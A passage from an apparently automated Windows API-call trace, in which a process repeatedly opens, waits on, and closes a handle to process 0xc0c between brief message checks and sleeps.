(dwMilliseconds=0x1) [0227.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.387] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.403] CloseHandle (hObject=0x258) returned 1 [0227.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.403] Sleep (dwMilliseconds=0x1) [0227.449] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.449] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.450] CloseHandle (hObject=0x258) returned 1 [0227.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.451] Sleep (dwMilliseconds=0x1) [0227.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.465] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.481] CloseHandle (hObject=0x258) returned 1 [0227.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.481] Sleep (dwMilliseconds=0x1) [0227.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.497] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.512] CloseHandle (hObject=0x258) returned 1 [0227.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.512] Sleep (dwMilliseconds=0x1) [0227.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.528] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.543] CloseHandle (hObject=0x258) returned 1 [0227.543] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.543] Sleep (dwMilliseconds=0x1) [0227.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.559] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.575] CloseHandle (hObject=0x258) returned 1 [0227.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.575] Sleep (dwMilliseconds=0x1) [0227.590] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.590] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.606] CloseHandle (hObject=0x258) returned 1 [0227.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.606] Sleep (dwMilliseconds=0x1) [0227.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.621] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.637] CloseHandle (hObject=0x258) returned 1 [0227.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.637] Sleep (dwMilliseconds=0x1) [0227.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.653] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.669] CloseHandle (hObject=0x258) returned 1 [0227.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.669] Sleep (dwMilliseconds=0x1) [0227.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.684] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.700] CloseHandle (hObject=0x258) returned 1 [0227.700] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.700] Sleep (dwMilliseconds=0x1) [0227.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.716] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.731] CloseHandle (hObject=0x258) returned 1 [0227.731] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.731] Sleep (dwMilliseconds=0x1) [0227.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.781] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.809] CloseHandle (hObject=0x258) returned 1 [0227.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.809] Sleep (dwMilliseconds=0x1) [0227.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.825] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.840] CloseHandle (hObject=0x258) returned 1 [0227.840] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.840] Sleep (dwMilliseconds=0x1) [0227.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.856] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.871] CloseHandle (hObject=0x258) returned 1 [0227.871] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.871] Sleep (dwMilliseconds=0x1) [0227.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.887] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.903] CloseHandle (hObject=0x258) returned 1 [0227.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.903] Sleep (dwMilliseconds=0x1) [0227.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258 [0227.951] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xa) returned 0x102 [0227.966] CloseHandle (hObject=0x258) returned 1 [0227.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0227.966] Sleep (dwMilliseconds=0x1) [0227.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0227.981] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.103] CloseHandle (hObject=0x318) returned 1 [0229.103] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.103] Sleep (dwMilliseconds=0x1) [0229.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.111] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.122] CloseHandle (hObject=0x318) returned 1 [0229.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.122] Sleep (dwMilliseconds=0x1) [0229.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.169] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.179] CloseHandle (hObject=0x318) returned 1 [0229.179] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.179] Sleep (dwMilliseconds=0x1) [0229.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.231] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.243] CloseHandle (hObject=0x318) returned 1 [0229.243] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.243] Sleep (dwMilliseconds=0x1) [0229.258] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.258] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.275] CloseHandle (hObject=0x318) returned 1 [0229.275] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.275] Sleep (dwMilliseconds=0x1) [0229.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.290] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.305] CloseHandle (hObject=0x318) returned 1 [0229.305] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.305] Sleep (dwMilliseconds=0x1) [0229.320] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.320] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.336] CloseHandle (hObject=0x318) returned 1 [0229.336] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.336] Sleep (dwMilliseconds=0x1) [0229.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.352] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.367] CloseHandle (hObject=0x318) returned 1 [0229.367] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.367] Sleep (dwMilliseconds=0x1) [0229.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.383] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.399] CloseHandle (hObject=0x318) returned 1 [0229.399] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.399] Sleep (dwMilliseconds=0x1) [0229.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x318 [0229.414] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0xa) returned 0x102 [0229.430] CloseHandle (hObject=0x318) returned 1 [0229.430] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.431] Sleep (dwMilliseconds=0x1) [0229.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.445] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.461] CloseHandle (hObject=0x27c) returned 1 [0229.461] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.461] Sleep (dwMilliseconds=0x1) [0229.476] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.476] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.492] CloseHandle (hObject=0x27c) returned 1 [0229.492] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.492] Sleep (dwMilliseconds=0x1) [0229.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.508] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.523] CloseHandle (hObject=0x27c) returned 1 [0229.523] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.523] Sleep (dwMilliseconds=0x1) [0229.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.539] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.555] CloseHandle (hObject=0x27c) returned 1 [0229.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.555] Sleep (dwMilliseconds=0x1) [0229.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.570] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.590] CloseHandle (hObject=0x27c) returned 1 [0229.590] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.590] Sleep (dwMilliseconds=0x1) [0229.601] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.601] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.617] CloseHandle (hObject=0x27c) returned 1 [0229.617] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.617] Sleep (dwMilliseconds=0x1) [0229.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.633] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.648] CloseHandle (hObject=0x27c) returned 1 [0229.648] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.648] Sleep (dwMilliseconds=0x1) [0229.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.664] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.680] CloseHandle (hObject=0x27c) returned 1 [0229.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.680] Sleep (dwMilliseconds=0x1) [0229.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.695] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.711] CloseHandle (hObject=0x27c) returned 1 [0229.711] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.711] Sleep (dwMilliseconds=0x1) [0229.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.726] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.744] CloseHandle (hObject=0x27c) returned 1 [0229.744] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.744] Sleep (dwMilliseconds=0x1) [0229.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.758] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.773] CloseHandle (hObject=0x27c) returned 1 [0229.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.773] Sleep (dwMilliseconds=0x1) [0229.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.789] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.806] CloseHandle (hObject=0x27c) returned 1 [0229.806] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.806] Sleep (dwMilliseconds=0x1) [0229.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.820] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.836] CloseHandle (hObject=0x27c) returned 1 [0229.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.836] Sleep (dwMilliseconds=0x1) [0229.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.852] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.867] CloseHandle (hObject=0x27c) returned 1 [0229.867] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.867] Sleep (dwMilliseconds=0x1) [0229.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.883] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.899] CloseHandle (hObject=0x27c) returned 1 [0229.899] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.899] Sleep (dwMilliseconds=0x1) [0229.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.914] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.930] CloseHandle (hObject=0x27c) returned 1 [0229.930] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.930] Sleep (dwMilliseconds=0x1) [0229.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.945] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.961] CloseHandle (hObject=0x27c) returned 1 [0229.961] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.961] Sleep (dwMilliseconds=0x1) [0229.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0229.976] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0229.992] CloseHandle (hObject=0x27c) returned 1 [0229.992] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0229.992] Sleep (dwMilliseconds=0x1) [0230.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.008] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.035] CloseHandle (hObject=0x27c) returned 1 [0230.035] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.035] Sleep (dwMilliseconds=0x1) [0230.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.039] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.055] CloseHandle (hObject=0x27c) returned 1 [0230.055] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.055] Sleep (dwMilliseconds=0x1) [0230.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.070] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.086] CloseHandle (hObject=0x27c) returned 1 [0230.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.086] Sleep (dwMilliseconds=0x1) [0230.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.102] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.118] CloseHandle (hObject=0x27c) returned 1 [0230.118] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.118] Sleep (dwMilliseconds=0x1) [0230.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.149] CloseHandle (hObject=0x27c) returned 1 [0230.150] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.150] Sleep (dwMilliseconds=0x1) [0230.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.164] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.180] CloseHandle (hObject=0x27c) returned 1 [0230.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.216] Sleep (dwMilliseconds=0x1) [0230.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.226] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.243] CloseHandle (hObject=0x27c) returned 1 [0230.243] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.243] Sleep (dwMilliseconds=0x1) [0230.259] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.259] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.273] CloseHandle (hObject=0x27c) returned 1 [0230.273] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.273] Sleep (dwMilliseconds=0x1) [0230.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.290] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.305] CloseHandle (hObject=0x27c) returned 1 [0230.305] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.305] Sleep (dwMilliseconds=0x1) [0230.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.321] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.336] CloseHandle (hObject=0x27c) returned 1 [0230.336] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.336] Sleep (dwMilliseconds=0x1) [0230.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.352] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.367] CloseHandle (hObject=0x27c) returned 1 [0230.367] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.367] Sleep (dwMilliseconds=0x1) [0230.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.383] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.398] CloseHandle (hObject=0x27c) returned 1 [0230.398] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.398] Sleep (dwMilliseconds=0x1) [0230.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.414] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.430] CloseHandle (hObject=0x27c) returned 1 [0230.430] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.430] Sleep (dwMilliseconds=0x1) [0230.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.445] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.461] CloseHandle (hObject=0x27c) returned 1 [0230.461] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.461] Sleep (dwMilliseconds=0x1) [0230.476] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.477] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.492] CloseHandle (hObject=0x27c) returned 1 [0230.492] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.492] Sleep 